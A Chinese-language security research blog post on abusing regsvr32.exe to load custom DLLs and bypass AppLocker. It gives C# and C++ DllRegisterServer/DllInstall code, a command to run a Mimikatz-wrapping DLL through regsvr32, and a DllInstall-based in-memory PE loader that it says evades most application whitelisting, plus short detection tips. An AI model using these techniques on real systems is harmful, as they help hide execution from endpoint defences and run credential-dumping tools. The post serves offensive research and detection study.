Code Execution of Regsvr32.exe
0x00 前言
近日,Casey [email protected]在其博客分享了对regsvr32.exe的研究进展,通过regsvr32.exe加载dll不仅更加隐蔽,而且还能够实现Bypass AppLocker,很是神奇。
于是,我对此做了进一步的学习研究,所以本文在前半段会先介绍Casey Smith的研究进展,后半段分享一下我基于此做的进一步研究测试,希望能给大家启发,跟进最新技术。
0x01 简介图片引用自http://subt0x10.blogspot.jp/2016/06/what-you-probably-didnt-know-about.html
1、rundll32
通过rundll32.exe加载dll大家应该都比较熟悉,语法:
#!shellrundll32.exe nameofdll,entrypointfunction arguments
例如:
#!shellrundll32 a.dll,EntryPoint
表示调用EntryPoint
2、regsvr32Regsvr32命令用于注册动态链接库文件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。 语法:
#!shellregsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
参数:
#!shell/u卸载已安装的控件或DLL文件/s静默,不显示任何消息框/n指定不调用 DllRegisterServer,此选项必须与 /i 共同使用/i:cmdline调用 DllInstall 将它传递到可选的 [cmdline],在与 /u 共同使用时,它调用 dll 卸载dllname指定要注册的 dll 文件名
例如:
#!shellregsvr32 a.dll
表示调用DllRegisterServer
#!shellregsvr32 /u a.dll
表示调用DllUnregisterServer
#!shellregsvr32 /n /i a.dll
表示调用DllInstall
0x02 使用c#编写dll下面我们尝试编写可被regsvr32调用的dll
c# 默认不可以声明导出函数
但是可以通过添加UnmanagedExports实现
下载地址:
1、测试环境Win 7 x64VisualStudio20122、流程https://www.nuget.org/packages/UnmanagedExports/
(1) 新建c#工程,类型选择类库
如图
(2) 添加UnmanagedExports
设置编译平台为x86或者x64,
如图
如果使用默认的Any CPU,在下一步的安装会报错,如图
在Visual Studio控制面板选择TOOLS-Library Package Manager-Package Manager Console
输入Install-Package UnmanagedExports,进行安装
(3) 编写代码
Casey Smith在博客中分享了参考代码,地址为:
https://gist.githubusercontent.com/subTee/f6123584a3258783e497481690ccc38d/raw/0e3aad1d8f9fc6762491bda76a1a8baa948e8ca2/evil.cs
提取出关键代码为:
#!c[DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] public static void DllRegisterServer() { ProcessStartInfo info = new ProcessStartInfo(); info.FileName = "notepad.exe"; Process.Start(info); }
这里定义了导出函数DllRegisterServer及其对应的功能
(4) 编译
.NET 版本选择4.0或者更高,编译成功
注:
如果使用中文系统进行开发,会出现如下错误:
#!shellc:userstestdocumentsvisual studio 2012ProjectstestdllpackagesUnmanagedExports.1.2.7toolsRGiesecke.DllExport.targets(58,3): error : (27) : error : syntax error at token '{' in: {
这是由于UnmanagedExports不支持中文系统中的Unicode造成的,将系统的Unicode取消就好
选择控制面板-时间、语言和区域-区域和语言-管理-非Unicode程序的语言,将中文改为英文,重启系统
(1) EntryPoint
#!shellrundll32 testdll.dll,EntryPoint
如图
(2) DllRegisterServer
#!shellrundll32 testdll.dll,DllRegisterServer
or
#!shellregsvr32.exe testdll.dll
(3) DllUnregisterServer
#!shellrundll32 testdll.dll,DllUnregisterServer
or
#!shellregsvr32.exe /u testdll.dll
(4) DllInstall
#!shellrundll32 testdll.dll,DllInstall
or
#!shellregsvr32.exe /n /i testdll.dll4、Execute Mimikatz inside of regsvr32.exe
下载地址:
https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs
将mimikatz封装到dll中,通过regsvr32传入参数运行mimkatz
#!shellrundll32 katz.dll,EntryPoint log coffee exit
or
#!shellregsvr32 katz.dll log version exit0x03 使用c++编写dll
Casey Smith是通过c#编写的dll,dll需要在对应版本的.NET环境才能正常运行,为了保证通用性,我采用了c++实现 下面介绍如何编写一个可被regsvr32加载的dll
1、添加导出函数新建c++工程,创建一个dll项目 在主文件添加:
#!cvoid DllRegisterServer(){ MessageBox(NULL,"test","DllRegisterServer",MB_OK);}void DllUnregisterServer(){ MessageBox(NULL,"test","DllUnregisterServer",MB_OK);}void DllInstall(BOOL bInstall, LPCWSTR pszCmdLine){ MessageBox(NULL,"test","DllInstall",MB_OK);}
添加导出函数声明:
添加文件类型:Text File
名称:同名文件.def
写入
#!shellEXPORTSDllRegisterServerDllUnregisterServerDllInstall
编译,然后测试导出函数的功能:
#!shellregsvr32 /s test.dllregsvr32 /s /u test.dllregsvr32 /s /n /i testdll.dll
如图
DllInstall的参数说明如下:
https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
可知regsvr32可以通过/i传入cmd参数,下面来看看如何将cmd参数解析并传入我们自己的dll中
2、unicode转utf8由DllInstall的参数说明可知pszCmdLine是LPCWSTR类型,这是一个指向unicode编码字符串的32位指针,所指向字符串是wchar型,而不是char型,实现接下来的功能需要先把传进来的参数pszCmdLine作一个转换,unicode转utf8,函数实现代码如下: unicode转utf8:
#!cchar* Unicode2Utf8(const char* unicode) { int len; len = WideCharToMultiByte(CP_UTF8, 0, (const wchar_t*)unicode, -1, NULL, 0, NULL, NULL); char *szUtf8 = (char*)malloc(len + 1); memset(szUtf8, 0, len + 1); WideCharToMultiByte(CP_UTF8, 0, (const wchar_t*)unicode, -1, szUtf8, len, NULL,NULL); return szUtf8; }
补充: utf8转unicode:
#!cchar* Utf82Unicode(const char* utf, size_t *unicode_number) { if(!utf || !strlen(utf)) { *unicode_number = 0; return NULL; } int dwUnicodeLen = MultiByteToWideChar(CP_UTF8,0,utf,-1,NULL,0); size_t num = dwUnicodeLen*sizeof(wchar_t); wchar_t *pwText = (wchar_t*)malloc(num); memset(pwText,0,num); MultiByteToWideChar(CP_UTF8,0,utf,-1,pwText,dwUnicodeLen); *unicode_number = dwUnicodeLen - 1; return (char*)pwText; }3、PE Loader
在对传入的参数正确解析后,可尝试通过内存加载对应的PE文件(也就是传入的cmd参数),PE Loader参考自Pe-Loader-Sample,功能还需完善 项目地址:
https://github.com/abhisek/Pe-Loader-Sample
完整调用的代码如下:
#!cvoid DllInstall(BOOL bInstall, LPCWSTR pszCmdLine){ char *a=Unicode2Utf8((const char*)pszCmdLine); PE_LDR_PARAM peLdr; PeLdrInit(&peLdr); PeLdrSetExecutablePath(&peLdr, a); PeLdrStart(&peLdr);}4、最终版本
编译生成dll,可通过regsvr32调用,并且由/i传入要内存加载的exe路径,此方法可绕过绝大部分的应用程序白名单拦截和主动防御 运行命令:
#!shellregsvr32 /s /n /i:c:testWin32Project1.exe test.dll
可在内存加载并运行文件:c:testWin32Project1.exe
演示如图
完整测试工程代码已上传github:
https://github.com/3gstudent/regsvr32-test 注:
测试代码通过内存加载PE文件,如果遇到报错,需要进一步修改完善代码,这里面要学习的还有很多
站在防御者的角度,想必大家在遇到系统正在运行进程rundll32.exe的时候,都会去检查rundll32的运行参数,那么,如果发现系统正在运行regsvr32.exe,当然也要去检查一下,这里提供两种简单的检查方法:
1、Task Manager选择列-选中命令行
如图,可查看regsvr32.exe对应的命令行参数
查看进程-属性-Commandline
如图
以上介绍了如何开发可供Regsvr32加载运行的dll,并对Regsvr32的利用技巧做了总结,希望能给大家启发。 接下来,能否通过构造特殊的/i参数,找到系统正常dll的漏洞并加以利用,值得深入研究。